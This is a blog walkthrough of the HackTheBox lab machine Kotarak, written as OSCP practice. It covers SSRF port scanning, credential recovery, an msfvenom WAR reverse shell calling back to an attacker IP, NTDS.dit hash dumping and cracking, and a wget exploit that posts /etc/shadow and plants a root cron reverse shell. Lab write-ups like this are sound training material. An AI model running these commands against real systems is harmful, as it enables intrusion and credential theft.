HacktheBox - Kotarak Writeup

16/01/2020

Zero to OSCP Hero Writeup #21 - Kotarak

Reconnaissance

1. Nmap Scan - Common Ports TCP Scan

Let's start with a TCP scan of the target ip address to determine which common ports are open and which services are running on those ports:

nmap -sC -sV -oA nmap/initial.tcp 10.10.10.55

  • -sC: Run the default nmap script scan to find potential vulnerabilities
  • -sV: Detect the service version
  • -oA: Output the result of the scan in all formats as nmap/initial.tcp

From the scan we can see that we have ports 22, 8009 and 8080 open on the machine running openssh, apache jserv and an apache tomcat webserver.

2. Nmap Scan - All TCP Ports Scan

Okay, lets scan the entire TCP port range to confirm that there are no other ports open:

nmap -sC -sV -p- -oA nmap/full.tcp 10.10.10.55

  • -sC: Run the default nmap script scan to find potential vulnerabilities
  • -sV: Detect the service version
  • -p-: Run the nmap scan against all ports
  • -oA: Output the result of the scan in all formats as nmap/full.tcp

The full TCP scan confirmed that there is an additional port open, port 60000 running another apache web server. 

3. Nmap Scan - All UDP Ports Scan

We can do the same full port scan, but with the UDP ports:

nmap -sU -p- -oA nmap/full.udp 10.10.10.55

  • -sU: Run the scan against UDP ports
  • -p-: Run the nmap scan against all ports
  • -oA: Output the result of the scan in all formats as nmap/full.udp

The full UDP scan confirmed that there are no additional ports of interest are open.

Enumeration - Port 8080

1. Browse to 10.10.10.55:8080

As you can see, we get a 404 error but it does also give us the apache tomcat version of 8.5.5

2. Tomcat manager authentication

As i know the that apache tomcat manager can be accessed via /manager/html, lets browse to the directory:

https://10.10.10.55:8080/manager/html

and we are required to enter credentials to authenticate and login.

2.1 Bruteforce authentication

I used hydra and the seclists tomcat default creds file to see if the credentials were default, but were we not lucky this time!

hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.55:8080/manager/html

As the credentials are not default, we must have to find them elsewhere on the machine!

Enumeration - Port 60000

1. Browse to 10.10.10.55:60000

So as you can see, port 60000 is used to provide a private web browser and when we check the page source, we can see that it is using .php:

2. Gobuster

Lets run a gobuster and see if there any more hidden directories or php files:

gobuster dir -u  https://10.10.10.55:60000 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php

And we have found 3 php files:

index.php is the main private web browser page and info.php is the php config info page:

url.php seems to return nothing, although when we enter characters in the private web browser main page input box for example, 'test' we get this:

3. Nikto

Lets run a nikto scan and see what information we can gather from it:

nikto -h  https://10.10.10.55:60000

From the nikto scan, it appears that the machine may be vulnerable to remote SSRF (Server Side Request Forgery).

In an SSRF attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or a modify a URL which the code running on the server will read or submit the data supplied in the URL.

4. Testing for SSRF

Lets start up burp and send the request for /url.php?path=test to burp repeater.

4.1 Can we view internal files?

As we know that SSRF allows us to view internal server information, lets try and view the root.txt file!

And as you can see, we get a response of try harder. TRY HARDER? okay!

4.2 Can we view the local open ports?

As mentioned before, if there is an SSRF vulnerability here, we should be able to view the ports open locally:

First lets try a port we know is open like port 22, which is running openssh:

And we get confirmation that we can find open local ports!

4.3 Burp Intruder port scan

Rather than manually checking every 65535 port manually, lets use burp intruder to do the hard work for us!

Firstly, change the payload position to only the port number:

Move to the payload tab and change the payload set to numbers and set the payload options from 1 to 65535:

We can now run the attack!

And we find some locally open ports!

Enumeration - Port 888

1. Gather information on what port 888 is used for

From burp we can render the response of port 888:

So port 888 is hosting some files, the most interesting of which is 'backup', we can view the raw response output to find the backup file location:

2. View the backup file

To view the backup file we can browse to it and view the page source:

https://10.10.10.55:60000/url.php?path=localhost:888?doc=backup

And the backup file contains tomcat manager admin creds!

admin:3@g01PdhB!

Initial Foothold - User

1. Authenticate to Tomcat Manager

Now that we have admin creds, lets login!

*hacker voice* im in.

2. WAR file upload

Now that we are inside tomcat manager, we can upload WAR files, meaning we can craft a reverse shell with msfvenom and execute it on the machine:

2.1 Create reverse shell with msfvenom

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.59 LPORT=9001 -f war > shell.war

2.2 Upload shell.war

2.3 Start a netcat listener

Now that we have uploaded the shell.war file, we need to start a netcat listener:

nc -lvnp 9001

3. Execute the shell.war file

We can now browse to the shell.war file and have it execute the reverse shell payload:

https://10.10.10.55:8080/shell/

.. And we get a connection from the machine on our netcat listener as the user tomcat in what seems to be a dmz, if the hostname is to be believed!

After a search of the machine, we can see that the user.txt file is inside the home directory of the user atanas, and of course, we dont have permission to view it!

Privilege Escalation - Atanas

1. Located Active Directory database files

In the directory, /home/tomcat/to_archive/pentest_data we find a couple of interesting files, a .dit and a .bin file, these look to be AD database files.

2. Determine the files type/content

We can use the file * command to determine the exact type of files we have found:

file *

So the two files we have here are a copy of 'NTDS.dit' and copy of an MS registry hive.

3. What is the file 'ntds.dit'?

The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.

4. Download the .dit and .bin files

To use the tool secretsdump.py from impacket to dump the hashes, we need to download the files to our machine so lets start another webserver on the target machine:

python -m SimpleHTTPServer 9000

We can now use wget to download the files:

wget 10.10.10.55:9000/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

wget 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

5. Extracting hashes from ntds.dit

As we have the ntds.dit and an MS registry file, which is most likely a copy of the SYSTEM registy hive files locally, we can use the impacket tool, secretsdump.py  to gather the user hashes:

python secretsdump.py -ntds 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit -system 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin LOCAL

6. Cracking the hashes with hashkiller

Now that we have the hashes, we can attempt to crack the passwords for the non local computer accounts (they end in $) which are: administrator, guest, krbtgt and atanas.

We managed to find the cleartext passwords for administrator:

and atanas:

7. Login as atanas

We can use the su command to switch to the user atanas:

su -l atanas

But it would seem that the password used is the AD administrator password of f16tomcat!

8. Grab the user.txt file

Now that we are atanas, we can open the user.txt file!

cat user.txt

Privilege Escalation - Root

1. LinEnum

Lets download LinEnum to the target machine and see if it can provide any useful information:

1.1 Start a webserver on our attacker machine

python -m SimpleHTTPServer 80

1.2 Download LinEnum to the target machine

wget https://10.10.14.59/LinEnum.sh

1.3 Make LinEnum executable

chmod +x LinEnum.sh

1.4 Run LinEnum.sh

./LinEnum.sh

And it finds that we can view the root directory, which has a couple interesting files that are not defualt, flag.txt and app.log

2. Analyzing the flag.txt and app.log files

flag.txt:

app.log:

So flag.txt is no help at all, but app.log is as it gives us some of information:

  • It shows that an IP of 10.0.3.133 utilises GET every 2 minutes to call a file called archive.tar.gz
  • It shows that the version of wget on the 10.0.3.133 machine is 1.16, which is vulnerable

When looking at the content of ifconfig, it shows that we are also connected to the 10.0.3.0/24 network via a LXC bridge port with the IP address of 10.0.3.1, this indicates that the 10.0.3.133 is running in an LXC container with a vulnerable version of wget.

Lets also check the wget version of the target machine:

wget -V

So our version of wget is also vulnerable!

3. Exploiting wget

So after looking on exploit-db, i found this exploit:

Wget < 1.18 - Arbitrary File Upload / Remote Code Execution

3.1 Exploit Overview:

wget < 1.18 when supplied with a malicious URL (to a malicious or compromised web server) can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory and possibly other directories by writing to .wgetrc

3.2 Create .wgetrc file on attacker machine

As the exploit PoC shows, we need to create a .wgetrc file with the following contents on our machine:

cat <<_EOF_>.wgetrc post_file = /etc/shadow output_document = /etc/cron.d/wget-root-shell _EOF_

3.3 Start FTP Server on attacker machine

We now have to start an FTP server on our attacker machine:

python3 -m pyftpdlib -p21 -w

3.4 Edit the exploit.py script

Copy the exploit.py script from the exploit-db page to our machine and edit it accordingly:

nano exploit.py

As you can see, I've made the HTTP listen ip to 0.0.0.0, my attacker IP as the FTP Host address and added a netcat reverse shell one liner to the cronjob, which will be executed by root

3.5 Start netcat listener

Start a netcat listener on our machine:

nc -lvnp 9002

3.6 Upload the edited exploit to the target machine

Now that the exploit is ready to go, we can upload the script onto the target:

python -m SimpleHTTPServer 80
wget https://10.10.14.59/exploit.py

3.7 Make exploit.py executable

chmod +x exploit.py

3.8 Execute the script

We can now run the script:

python exploit.py

But we get permission denied... This is because authbind is enabled.

Authbind makes it only possible for root and authorised users to bind to ports below 1024

We can run the script with the command including authbind:

authbind python exploit.py

So as you can see from the portion of the exploit above, everything was working smoothly...

And we got a connection on our netcat listener as root!

4. Grab the root.txt

cat root.txt

Conclusion

That. Was. Hard. 

That was easily the most comprehensive box of all the zero to OSCP boxes so far! There were many new challenges ive not faced so far, which was a great learning experience. 

I hope that isnt like a 10 pointer in the OSCP exam ;) 

Onto the next one... #22 - Jerry

© 2019 Path To Root. All rights reserved.
Powered by Webnode
Create your website for free! This website was made with Webnode. Create your own for free today! Get started